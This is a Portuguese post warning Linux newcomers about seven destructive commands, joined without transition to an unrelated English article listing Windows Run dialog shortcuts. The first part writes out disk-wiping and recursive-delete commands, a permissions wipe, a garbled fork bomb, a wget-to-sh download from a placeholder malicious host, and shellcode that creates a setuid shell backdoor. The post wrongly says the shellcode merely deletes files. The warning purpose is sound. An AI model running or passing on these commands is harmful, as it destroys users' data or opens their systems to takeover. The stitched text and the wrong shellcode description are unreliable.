7 comandos mortais em Linux

Se for um novato na área do Linux, existe a possibilidade de alguma vez encontrar um utilizador menos bem intencionado num fórum de ajuda para Linux que lhe dê uma falsa ajuda passando-lhe comandos que você vai digitando sem saber para que servem, comandos esses que podem ser fatais para qualquer sistema.

A pensar nisso deixo aqui 7 comandos que podem acabar com a saúde de qualquer sistema.

1.
rm -rf /

Este comando irá eliminar recursivamente toda a informação do directório root.

2.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta é a forma encontrada para fazer o mesmo que o primeiro comando mas de uma forma mais discreta, até mesmo utilizadores mais ambientados a sistemas Linux podem não reconhecer o comando.
3.
mkfs.ext3 /dev/sda

Este comando irá reformatar ou eliminar toda a informação contida no dispositivo indicado após o comando mkfs.

4.
 ){  :& };:

Comando conhecido como “forkbomb”. Este comando indica ao sistema que execute o maior numero possível de processos até que o mesmo crash. Este comando pode causar danos ao corromper informação.

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5.
chmod -R 777 /

Este comando dá a todos os utilizadores e ficheiros os privilégios de “Read, Write, Execute”. Somente os ficheiros em /bin e /etc/bin não sofrerão essa alteração por estarem a correr e não ser possível a alteração.

6.
wget http://um_codigo_fonte_malicioso -O- | sh

Este comando fará o download e executará um código malicioso na sua máquina, o que pode fazer estragos de todos os tipos.

7.
dd if=/dev/zero of=/dev/sda

Ao executar este comando o seu disco será formatado tal como veio de fábrica.

Run... Command

The Run command in Windows is one of the most unused, yet powerful features (in terms of productivity) in the operating system.

Basic Run Command Information

It is accessible in one of two ways: through the start menu (Figure 1) and through the shortcut key Win+R. The dialog itself looks very unassuming, and quite user unfriendly if you ask me (Figure 2). Its main purpose, as you can see from the dialog information, is to open a program, folder, document, or Internet resource which Windows will then open.

Figure 1 - Run on the Start Menu Figure 2 - The Run Dialog Common Tasks with Run Below are a list of commands you can type into the Run dialog: Run Calculator calc Run Command Prompt cmd Run Firefox (if installed) firefox Run Internet Explorer iexplore Run Microsoft Word (if installed) winword Run Microsoft Excel (if installed) excel Run Microsoft Outlook (if installed) outlook Run Notepad notepad Run Wordpad wordpad Open Control Panel control panel Open Program Files folder %programfiles% Shutdown Windows shutdown Restart Windows shutdown -r Log Off Windows logoff Registry Editor regedit Task Manager taskmgr Windows Update Launches wupdmgr Creating Your Own Run Commands If you are like me, you will use a few programs very frequently. One way to make them start faster is to give them their own Run command: Win+R to open the Run dialog Enter %windir% to open the Windows directory Alt+F W S to open the File menu, choose the New menu item, then the Shortcut menu item Go through the wizard to create a shortcut to the desired program The name you give the shortcut is what you type in the Run dialog to start the program Infrequently Used Run Commands Below are a list of commands you can type into the Run dialog, split into several categories: programs, control panels, computer administration tools, and special folders. Programs Character Map charmap Check Disk Utility chkdsk Clipboard Viewer clipbrd Free Cell freecell Hearts Card mshearts Microsoft Chat winchat Minesweeper winmine On Screen Keyboard osk Remote Desktop mstsc Spider Solitare spider Telnet Client telnet Windows Magnifier magnify Control Panels Accessibility Controls access.cpl Add Hardware Wizard hdwwiz.cpl Add/Remove Programs appwiz.cpl Administrative Tools control admintools Automatic Updates wuaucpl.cpl Date and Time timedate.cpl Display Properties desk.cpl Folders Properties control folders Fonts control fonts Fonts Folder fonts Game Controllers joy.cpl Internet Properties inetcpl.cpl Keyboard Properties control keyboard Mouse Properties control mouse Network Connections control netconnections Network Setup Wizard netsetup.cpl ODBC Data Source Administrator odbccp32.cpl Password Properties password.cpl Phone and Modem Options telephon.cpl Power Configuration powercfg.cpl Printers and Faxes control printers Printers Folder printers Regional Settings intl.cpl Scanners and Cameras sticpl.cpl Security Center wscui.cpl Sounds and Audio mmsys.cpl User Account Management nusrmgr.cpl Windows Firewall firewall.cpl Computer Administration Tools Computer Management compmgmt.msc Device Manager devmgmt.msc Disk Cleanup Utility cleanmgr Disk Defragment dfrg.msc Disk Management diskmgmt.msc Disk Partition Manager diskpart Dr. Watson System Troubleshooting drwtsn32 Driver Verifier Utility verifier Event Viewer eventvwr.msc Group Policy Editor (XP Prof) gpedit.msc Local Security Settings secpol.msc Local Users and Groups lusrmgr.msc Performance Monitor perfmon Resultant Set of Policy rsop.msc Scheduled Tasks control schedtasks Services services.msc Shared Folders fsmgmt.msc System Configuration Editor sysedit System Configuration Utility msconfig Utility Manager utilman Windows System Security Tool syskey Computer Administration Tools Application Data Folder %appdata% Home Directory Drive %homedrive% Home Directory %homepath% Shared Home Directory %homeshare% Temporary Folder %temp% Windows Root Drive %systemdrive% Windows Root Directory %windir% For an even more exhaustive list, check out 156 Useful Run Commands. Using Run as a Command Prompt One of the strengths of the Run command is its ability to do almost everything the command line can do. You should note, however, that if you're running a program that outputs something and exits, that the output will only show up for a few seconds and then disappear. Take the ipconfig command for example. If you were to type that into Run, it would open a command prompt, run the ipconfig command, and then close because the command finished running! To fix this, type cmd into the Run dialog, and then type ipconfig into the command prompt.